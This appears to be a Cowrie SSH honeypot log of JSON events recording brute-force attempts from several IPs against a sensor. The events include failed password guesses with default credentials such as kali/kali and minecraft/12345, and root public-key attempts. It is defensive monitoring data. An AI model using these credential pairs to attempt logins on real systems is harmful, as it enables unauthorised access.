{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:17:41.926729Z","src_ip":"103.75.199.4","session":"3d076a9b340e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:17:43.028024Z","src_ip":"103.75.199.4","session":"3d076a9b340e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":47258,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdad2fbcd198","protocol":"ssh","message":"New connection: 103.75.199.4:47258 (159.203.135.109:22) [session: cdad2fbcd198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:03.493961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:03.498638Z","src_ip":"103.75.199.4","session":"cdad2fbcd198","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:03.595087Z","src_ip":"103.75.199.4","session":"cdad2fbcd198","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:03.882298Z","src_ip":"103.75.199.4","session":"cdad2fbcd198","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:04.980491Z","src_ip":"103.75.199.4","session":"cdad2fbcd198","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":35064,"dst_ip":"159.203.135.109","dst_port":22,"session":"76eab214250d","protocol":"ssh","message":"New connection: 103.75.199.4:35064 (159.203.135.109:22) [session: 76eab214250d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:25.347810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:25.352571Z","src_ip":"103.75.199.4","session":"76eab214250d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:25.448698Z","src_ip":"103.75.199.4","session":"76eab214250d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:25.740679Z","src_ip":"103.75.199.4","session":"76eab214250d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:26.841645Z","src_ip":"103.75.199.4","session":"76eab214250d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":47806,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cd01e79ecc1","protocol":"ssh","message":"New connection: 80.94.92.168:47806 (159.203.135.109:22) [session: 4cd01e79ecc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:44.210007Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:44.316892Z","src_ip":"80.94.92.168","session":"4cd01e79ecc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.139.76.236","src_port":47608,"dst_ip":"10.17.0.5","dst_port":22,"session":"136698a60262","protocol":"ssh","message":"New connection: 45.139.76.236:47608 (10.17.0.5:22) [session: 136698a60262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:46.307667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:46.311942Z","src_ip":"45.139.76.236","session":"136698a60262","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:46.399040Z","src_ip":"45.139.76.236","session":"136698a60262","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:e5:0a:8c:6e:ee:98:9d:0a:dd:6e:99:82:3e:a1:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRTf61NVILf89Qt7dwjoVR+vrY13UzZtGraWhk7ULXwCIyslj5PHQnLB3leoNzGWaE7V/W2CvEkCp1F0EgVPRuE1rhxSnIwL0dPlmB7rI73lNZSve8AsZLkFTFbYSEFXHWcAUCkRyoM+uja3HJMrirxSrPcsUy6purKMMRINmshpmJ3FuTvZC2wOrTBa9WCjIx3aF+2BTMMTvWvoAFW/e9KmgNg5/DLLz+WrE2ihr0chNK9W8UQ1RRtc3M5YsEFhb0TKR4Sd+XLUFasGyVlGXs08sQlasiFeckG5tOpGX0li2sjy4ct9dpzfsgQVeRnfOk0CZSk2BgoHTBZOD3OMMx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:e5:0a:8c:6e:ee:98:9d:0a:dd:6e:99:82:3e:a1:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:46.816911Z","src_ip":"45.139.76.236","session":"136698a60262","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:e5:0a:8c:6e:ee:98:9d:0a:dd:6e:99:82:3e:a1:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRTf61NVILf89Qt7dwjoVR+vrY13UzZtGraWhk7ULXwCIyslj5PHQnLB3leoNzGWaE7V/W2CvEkCp1F0EgVPRuE1rhxSnIwL0dPlmB7rI73lNZSve8AsZLkFTFbYSEFXHWcAUCkRyoM+uja3HJMrirxSrPcsUy6purKMMRINmshpmJ3FuTvZC2wOrTBa9WCjIx3aF+2BTMMTvWvoAFW/e9KmgNg5/DLLz+WrE2ihr0chNK9W8UQ1RRtc3M5YsEFhb0TKR4Sd+XLUFasGyVlGXs08sQlasiFeckG5tOpGX0li2sjy4ct9dpzfsgQVeRnfOk0CZSk2BgoHTBZOD3OMMx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:46.820122Z","src_ip":"45.139.76.236","session":"136698a60262","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:69:8f:f1:64:29:fe:a2:db:09:16:e4:0b:41:50:d9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINrCCTWEQpRgoQklAf/PLMbqDVYN5I2kPyJGbOYDja2Q","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 62:69:8f:f1:64:29:fe:a2:db:09:16:e4:0b:41:50:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:46.910872Z","src_ip":"45.139.76.236","session":"136698a60262","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:69:8f:f1:64:29:fe:a2:db:09:16:e4:0b:41:50:d9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINrCCTWEQpRgoQklAf/PLMbqDVYN5I2kPyJGbOYDja2Q","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:46.914380Z","src_ip":"45.139.76.236","session":"136698a60262","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:0d:88:d4:eb:54:ed:a1:0c:2a:0d:7c:fb:ce:49:12","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM2dr6xykmUMk+PuAPyAfsbQP9Hl4SZ4JtVi36xICNsa","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 04:0d:88:d4:eb:54:ed:a1:0c:2a:0d:7c:fb:ce:49:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:47.002520Z","src_ip":"45.139.76.236","session":"136698a60262","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:0d:88:d4:eb:54:ed:a1:0c:2a:0d:7c:fb:ce:49:12","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM2dr6xykmUMk+PuAPyAfsbQP9Hl4SZ4JtVi36xICNsa","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:47.006183Z","src_ip":"45.139.76.236","session":"136698a60262","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:7a:75:35:a6:61:f6:9b:a1:27:6a:dd:d7:0c:08:ea","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINKMUVAJHVR5vyZ6U4TUiPyFPGiAjaOFbnxb9uGi4SmA","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 66:7a:75:35:a6:61:f6:9b:a1:27:6a:dd:d7:0c:08:ea","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:47.093819Z","src_ip":"45.139.76.236","session":"136698a60262","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:7a:75:35:a6:61:f6:9b:a1:27:6a:dd:d7:0c:08:ea","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINKMUVAJHVR5vyZ6U4TUiPyFPGiAjaOFbnxb9uGi4SmA","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:47.096697Z","src_ip":"45.139.76.236","session":"136698a60262","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:d0:c3:d5:bf:16:89:48:11:7d:01:fe:0d:3d:36:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkH8PGouEQFp5Na5LN8Umjj5sOu6jUJ7XxtI8JkMRbQSXJ8HqNSye5LMDJWMU5xCguWV8Z8erq/xLsXfZqLTMOR1BGEn3BgD2YDRb+jSRXl0ZIJwR/Rajh3nXHzj8/nfzP+fkc4W9vB5bHENr5emE5ihP8NrSea2wDxjMUX6m1aB6l0tUcXJ96aQg+mg2tJmXo1Bntl7P1lY+YPTGlKPy8YH8VijgEtfcd0lTRXIkMT/7CyI0fUkmN2JDGtAHEOm8ZfvHRlpcn6HiDxPEg3+zDTNJ78/0stlXMzcnRIZgjWiAA8aiQqK3BRsnHFIf3J6TMb2y6p0snnEy2E+wEwvQt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:d0:c3:d5:bf:16:89:48:11:7d:01:fe:0d:3d:36:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:47.185052Z","src_ip":"45.139.76.236","session":"136698a60262","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:d0:c3:d5:bf:16:89:48:11:7d:01:fe:0d:3d:36:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkH8PGouEQFp5Na5LN8Umjj5sOu6jUJ7XxtI8JkMRbQSXJ8HqNSye5LMDJWMU5xCguWV8Z8erq/xLsXfZqLTMOR1BGEn3BgD2YDRb+jSRXl0ZIJwR/Rajh3nXHzj8/nfzP+fkc4W9vB5bHENr5emE5ihP8NrSea2wDxjMUX6m1aB6l0tUcXJ96aQg+mg2tJmXo1Bntl7P1lY+YPTGlKPy8YH8VijgEtfcd0lTRXIkMT/7CyI0fUkmN2JDGtAHEOm8ZfvHRlpcn6HiDxPEg3+zDTNJ78/0stlXMzcnRIZgjWiAA8aiQqK3BRsnHFIf3J6TMb2y6p0snnEy2E+wEwvQt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:47.188753Z","src_ip":"45.139.76.236","session":"136698a60262","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":39606,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c83a8a94b16","protocol":"ssh","message":"New connection: 103.75.199.4:39606 (159.203.135.109:22) [session: 3c83a8a94b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:47.265693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:47.270225Z","src_ip":"103.75.199.4","session":"3c83a8a94b16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:47.276723Z","src_ip":"45.139.76.236","session":"136698a60262","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:47.362996Z","src_ip":"103.75.199.4","session":"3c83a8a94b16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:47.635086Z","src_ip":"103.75.199.4","session":"3c83a8a94b16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:48.728816Z","src_ip":"103.75.199.4","session":"3c83a8a94b16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.46.134.148","src_port":40886,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b1b650728ef","protocol":"ssh","message":"New connection: 198.46.134.148:40886 (10.17.0.5:22) [session: 0b1b650728ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:59.004662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:59.009396Z","src_ip":"198.46.134.148","session":"0b1b650728ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:59.036194Z","src_ip":"198.46.134.148","session":"0b1b650728ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0c:b5:c9:9f:73:12:e5:06:3a:50:ad:64:fc:61:c4:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCW5dRfOrL1VeQU2k2+8Zm0OaiM2lJDQ1YIReEZgcXxmKU6yuWvgZ1Wf8XiQX9NYmXD0r4fiTQSDVLKMDorc+/83n1FdHc6AWx/CtUjdjaxefNBZ505nHWV/V87jYDxMxdXsR/OzBKiZUMh2bXhqk3vaxCZUH8vqkC2r2bbWzVgb2xxy04UrqxJ8SRl6c30LA49SuiJqWU6D7rGRQ0fna8FZobchi60mbG8K8ShsX+5uYdANqVRXbitwy9L8YA8e+UHOniqUcyPMXfjsTSHIFXewg8ViyWrTyAY4Um1iQrBImkyUStZG530szknd0YBy03CqTWKcT9cftYD3K8tlXl5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0c:b5:c9:9f:73:12:e5:06:3a:50:ad:64:fc:61:c4:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:59.149031Z","src_ip":"198.46.134.148","session":"0b1b650728ef","protocol":"ssh"}
